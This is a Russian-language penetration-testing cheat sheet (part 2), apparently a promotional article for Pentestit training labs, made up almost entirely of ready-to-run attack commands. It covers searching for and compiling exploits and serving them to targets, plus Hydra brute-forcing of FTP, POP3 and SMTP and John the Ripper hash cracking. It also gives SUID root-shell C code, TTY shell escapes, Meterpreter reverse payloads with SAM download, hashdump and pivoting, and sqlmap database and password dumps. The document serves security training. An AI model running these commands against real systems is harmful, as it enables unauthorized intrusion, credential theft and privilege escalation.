Корпоративные лаборатории Pentestit — уникальные по своему формату и содержанию курсы практической ИБ-подготовки, разработанные на основе лучших практик тестирования на проникновение и анализа защищенности, по уровню содержания сравнимые с материалами хакерских конференций. Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы продолжим разбирать базис команд и полезных трюков при проведении тестирования на проникновение.
Справочник пентестера часть 2
Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.
Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия. Первая часть справочника.
Поиск эксплойтов для обнаруженных сервисов
Поиск на exploit-db через searchsploit, в данном примере поиск повышения привилегий для windows 2003:
searchsploit windows 2003 | grep -i local
Использование google для поиска на сайте exploit-db.com:
site:exploit-db.com exploit kernel <= 3
Ищите подходящие модули метасплоит с помощью grep. Стандартный поиск при помощи search в msf работает хуже:
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*
Установите локальную копию базы exploit-db:
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
Компиляция эксплойтов для Windows в Kali:
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
Компиляция для архитекруты x32 и x64:
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
Запуск простого локального веб-сервера
Полезно использовать для доставки эксплойтов и программ на целевую машину. Запуск простого http веб-сервера на Python:
python -m SimpleHTTPServer 80
Запуск простого веб-сервера на Python3:
python3 -m http.server
Запуск простого Ruby webrick http сервера:
ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port => 80, :DocumentRoot => Dir.pwd).start"
Запуск простого PHP http сервера:
php -S 0.0.0.0:80
Монтирование файловых ресурсов
Монтирование NFS ресурса в /mnt/nfs:
mount 192.168.1.1:/vol/share /mnt/nfs
Монтирование Windows CIFS / SMB ресурса на Linux в/mnt/cifs Если вы удалите password то о нем спросят в консоли (более безопасный вариант, т.к. не запишется в bash.history):
mount -t cifs -o username=user,password=pass,domain=bla //192.168.1.X/share-name /mnt/cifs
Монтирование Windows ресурса на Windows из командной строки:
net use Z: \\win-server\share password /user:domain\johndoe /savecred /p:no
Установка smb4k на Kali, полезный Linux GUI для просмотра SMB ресурсов:
apt-get install smb4k -y
Исследование HTTP / HTTPS Веб-серверов
Выполнить nikto сканирование:
nikto -h 192.168.1.1
Конфигурируется через GUI, CLI ввод обычно не работает:
dirbuster
Простой брутфорсер директорий:
dirb http://example.org
Продвинутый брутфорсер директорий и файлов. Поиск файлов с расширением php и js по старнадртному словарю:
dirsearch.py --random-agents -u example.org -e php,js
Анализ сетевых пакетов
tcpdump для порта 80 на интерфейсе eth0, вывод в output.pcap:
tcpdump tcp port 80 -w output.pcap -i eth0
Обнаружение учетных данных
Несколько техник, позволяющих узнать учетные данных от удаленных сервисов.
SMB
Сбор пользователей SMB:
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
RID cycle SMB / сбор пользователей SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
SNMP
Сбор пользователей SNMP:
snmpwalk public -v1 192.168.X.XXX 1 |grep 11.11.11.11 |cut -d” “ -f4
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
Брутфорс сетевых сервисов
Hydra FTP брутфорс
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V
Hydra POP3 брутфорс
hydra -L users.txt -P /usr/share/wordlistsnmap.lst 192.168.X.XXX pop3 -V
Hydra SMTP брутфорс
hydra -l user@example.com -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
Брутфорс паролей John The Ripper
Взлом хэша со словарем
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
MD5 взлом со словарем
john --format=MD5 --wordlist /usr/share/wordlists/rockyou.txt hash.txt
DES брутфорс
john --format=DES hash --show
SUID
Часто бывает так, что уязвимый исполняемый файл имеет SUID бит, но внутри самой программы эффективный UID меняется на непривилегированный перед уязвимым вызовом, а нам нужно получить шелл с правами суперпользователя. Для восстановления прав root и получения шелла можно воспользоваться кодом ниже.
SUID Си шелл для /bin/bash:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
SUID Си шелл для /bin/sh:
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
Компиляция SUID Шелл исполняемого файла:
gcc -o suid suid.c
Для 32 бит:
gcc -m32 -o suid suid.c
TTY шеллы
Примеры создания TTY шеллов из ограниченного шелла в Linux, полезно для запуска команд вроде su из реверс шелла. Python TTY шелл:
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
Получение интерактивного sh шелла:
/bin/sh -i
Получение Perl TTY шелла:
exec "/bin/sh";
perl -e 'exec "/bin/sh";'
Получение Ruby TTY шелла:
exec "/bin/sh"
Получение Lua TTY шелла:
os.execute('/bin/sh')
Получение TTY шелла из Vi:
:!bash
Получение TTY шелла через NMAP (старые версии)
nmap --interactive
!sh
Metasploit/Meterpreter
Windows reverse meterpreter payload с обратным подключением:
set payload windows/meterpreter/reverse_tcp
Windows VNC Meterpreter payload
set payload windows/vncinject/reverse_tcp
set ViewOnly false
Linux Reverse Meterpreter payload с обратным подключением
set payload linux/meterpreter/reverse_tcp
Meterpreter Справочник
Загрузить файл на windows машину через Meterpreter:
upload file c:\\windows
Выгрузить файл с целевой Windows машины через Meterpreter:
download c:\\windows\\repair\\sam /tmp
Выполнить exe файл через Meterpreter — Идеально для выполнения загруженных эксплойтов:
execute -f c:\\windows\temp\exploit.exe
Создание нового канала с cmd шеллом:
execute -f cmd -c
Meterpreter покажет процессы:
ps
Meterpreter получит шелл для текущей сессии:
shell
Meterpreter попытается повысить привилегии в системе:
getsystem
Meterpreter попытается получить хэши пользователей ОС:
hashdump
Meterpreter создает перенаправление порта через целевую машину (pivoting):
portfwd add –l 3389 –p 3389 –r target_host
Meterpreter удаляет перенаправление порта (pivoting):
portfwd delete –l 3389 –p 3389 –r target_host
SQLMap примеры
Автоматический режим:
sqlmap -u http://site --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
Целевое сканирование:
Sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/bla.php"
Просканировать url на union + error based инъекции для mysql и использовать случайный user agent + получить dump базы данных:
sqlmap -u "http://site/bla.php?id=1" --dbms=mysql --tech=U --random-agent --dump
Sqlmap проверка формы на инъекцию:
sqlmap -o -u "http://site/form/" --forms
Sqlmap дамп базы и взлом хэшей для таблицы users базы database-name:
sqlmap -o -u "http://site/vuln-form" --forms -D database-name -T users --dump
Определение типа хешей
Удобнее всего использовать утилиту hash-identifier, но для наглядности представлю несколько типов хешей визуально:
MD5 Hash:
8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT:
01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASS:
f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash:
b89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT:
2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASS:
cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256:
127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALT:
c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASS:
eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617
SHA-512:
82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALT:
e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS:
976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a
NTLM:
b4b9b02e6f09a9bd760f388b67351e2b
Заключение
Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется каждый набор, что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.
Уникальность программы курса в подаче и закреплении материала — 20% теории и 80% практики. Постоянно обновляя методический материал и добавляя практические задания мы стараемся дать наиболее полный объем информации для того чтобы участники курса получили исчерпывающую информацию о современных угрозах и методах противодействия, открыли новые вектора развития в области практической информационной безопасности.